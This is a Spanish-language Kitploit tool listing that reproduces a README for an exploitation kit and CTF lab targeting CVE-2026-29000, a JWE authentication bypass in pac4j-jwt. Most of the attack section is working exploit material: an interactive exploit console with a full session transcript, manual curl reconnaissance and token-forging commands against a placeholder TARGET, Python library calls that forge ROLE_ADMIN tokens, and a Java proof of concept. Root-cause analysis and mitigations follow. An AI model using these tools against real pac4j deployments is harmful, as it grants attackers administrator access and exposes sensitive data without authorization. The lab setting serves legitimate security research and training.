Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/clayofgilgamesh/cve-2026-29000
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónLabs y Práctica
GitHub
clayofgilgamesh/cve-2026-29000

CVE-2026-29000

# Kit de laboratorio CTF y explotación para CVE-2026-29000, una omisión de autenticación JWE en pac4j-jwt Incluye un objetivo vulnerable en Flask, una librería de falsificación de tokens, una consola de explotación interactiva y un PoC en Java.

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-29000 — Bypass de autenticación JWE en pac4j-jwt

Laboratorio CTF para investigar la vulnerabilidad de autenticación JWE en la librería pac4j-jwt CVSS 9.3 (Crítico) · CWE-287 · Afecta: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3


Resumen

pac4j-jwt en las versiones afectadas permite omitir por completo el mecanismo de autenticación JWT creando un PlainJWT (alg=none, sin firma) y envolviéndolo dentro de un JWE (JSON Web Encryption). Tras descifrar la capa JWE, la librería no verifica el algoritmo del JWT interno — los claims se confían por completo, incluidos los roles.

Cadena de ataque:

root@kitploit:~
X-Powered-By: pac4j/6.0.3          ← fuga de versión → identificación del framework
       ↓
OIDC Discovery → JWKS → clave pública RSA   ← información pública
       ↓
Forjar JWE (PlainJWT alg=none, ROLE_ADMIN)
       ↓
Bypass de autenticación → GET /admin?token=<JWE>     ← acceso al panel de administración
       ↓
Leer datos sensibles: lista de empleados, configuración del sistema, flag

Estructura del proyecto

root@kitploit:~
CVE-2026-29000/
├── lab/                        # Objetivo – App Flask (NexusBank Employee Portal)
│   ├── app.py                  # Aplicación principal vulnerable
│   ├── Dockerfile              # Flag incrustado en /flag.txt durante el build
│   └── requirements.txt
│
├── token_forge/                # Librería Python para generar tokens JWE falsificados
│   ├── forge.py                # forge_token()
│   ├── jwe_builder.py
│   ├── keys.py
│   ├── claims.py
│   └── cli.py                  # CLI: python -m token_forge
│
├── scripts/
│   └── exploit.py              # Consola de explotación interactiva (estilo Metasploit)
│
├── poc/                        # PoC Java – confirma el bypass in-process
│   ├── src/main/java/Poc.java
│   └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt

Requisitos

HerramientaVersiónNotas
Docker Desktop24+Ejecuta el laboratorio objetivo
Docker Composev2+Integrado en Docker Desktop
Python3.11+Ejecuta exploit.py y token_forge
Java + Maven11+Solo necesario para el PoC Java

Instalación

1. Clonar el repositorio

root@kitploit:~
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000

2. Instalar dependencias de Python

root@kitploit:~
# Linux / macOS
python -m venv .venv && source .venv/bin/activate

# Windows
python -m venv .venv && .venv\Scripts\activate

pip install -r requirements.txt

3. Iniciar el laboratorio

root@kitploit:~
docker compose up -d lab

Confirmar que el laboratorio está en ejecución:

root@kitploit:~
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3

Personalizar el flag:

root@kitploit:~
docker compose build --build-arg FLAG="CTF{custom_flag}" lab
docker compose up -d lab

4. Detener el laboratorio

root@kitploit:~
docker compose down

Explotación — Consola interactiva

exploit.py es una consola interactiva estilo Metasploit. El usuario realiza el reconocimiento para recopilar información y luego configura y explota.

root@kitploit:~
python scripts/exploit.py

# O preconfigurado desde la línea de comandos:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080

Ejemplo de sesión completa:

root@kitploit:~
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31

jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)

jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json

jwe-bypass > run

[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned   roles: ['ROLE_ADMIN']

  Auth bypass successful!

  Open in your browser:

  http://192.168.1.31:8080/admin?token=eyJ...

Abre la URL anterior en el navegador para acceder al panel de administración.

PUBKEY admite 3 formatos:

root@kitploit:~
# 1. URL JWKS — se obtiene automáticamente (recomendado)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json

# 2. Archivo descargado previamente
set PUBKEY /tmp/key.json

# 3. Pegar directamente el JSON crudo
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}

Explotación manual (sin exploit.py)

Paso 1 — Reconocimiento

root@kitploit:~
# Detectar el framework mediante la cabecera de respuesta
curl -sI http://TARGET:8080

# Buscar endpoints ocultos
curl -s http://TARGET:8080/robots.txt

Paso 2 — OIDC Discovery → JWKS

root@kitploit:~
# RFC 8414: pac4j siempre expone este endpoint
curl -s http://TARGET:8080/.well-known/openid-configuration

# Obtener la clave pública RSA desde jwks_uri
curl -s http://TARGET:8080/.well-known/jwks.json

Paso 3 — Forjar token JWE

root@kitploit:~
python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --subject attacker \
  --roles ROLE_ADMIN

Paso 4 — Acceder al panel de administración

root@kitploit:~
TOKEN=$(python -m token_forge \
  --jwks-url http://TARGET:8080/.well-known/jwks.json \
  --roles ROLE_ADMIN 2>/dev/null)

# Confirmar el bypass
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile

# Abrir el panel de administración en el navegador
echo "http://TARGET:8080/admin?token=$TOKEN"

Uso de token_forge como librería Python

root@kitploit:~
from token_forge import forge_token, load_public_key_from_jwks_url

key   = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)

PoC Java (in-process)

Confirma el bypass directamente en la JVM con Nimbus JOSE + pac4j 6.0.3:

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]

# Solo imprimir el token
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"

Ejecutar tests

root@kitploit:~
pytest tests/ -v

# Con informe de cobertura
pytest tests/ -v --cov=token_forge --cov-report=term-missing

Causa raíz de la vulnerabilidad

UbicaciónProblema
JwtAuthenticator.validateToken()Tras descifrar el JWE, llama a PlainJWT.parse() en lugar de SignedJWT.parse()
_payload_to_claims() en labbase64decode + json.loads directamente, sin verificar la firma

Flujo de procesamiento incorrecto:

root@kitploit:~
JWE decrypt → obtener payload → base64decode → json.loads → confiar en los claims
                                         ↑ falta el paso de verificación de firma del JWT interno

Mitigación

MedidaDetalle
Actualizar pac4j-jwtA >= 6.3.3 / 5.7.9 / 4.5.9
Rechazar PlainJWTVerificar alg != "none" tras descifrar el JWE
Eliminar cabecera de versiónDesactivar X-Powered-By en producción
Principio de mínimo privilegioNo ejecutar el contenedor con permisos de root

Referencias

  • Aviso de seguridad de pac4j
  • RFC 7516 — JSON Web Encryption
  • RFC 7519 — JSON Web Token
  • RFC 8414 — OIDC Discovery
  • CWE-287 — Autenticación incorrecta
  • https://github.com/kernelzeroday/CVE-2026-29000

Advertencia: Este repositorio es solo para fines de investigación de seguridad y CTF en entornos controlados. No lo utilices en sistemas sin autorización.

Descargar herramienta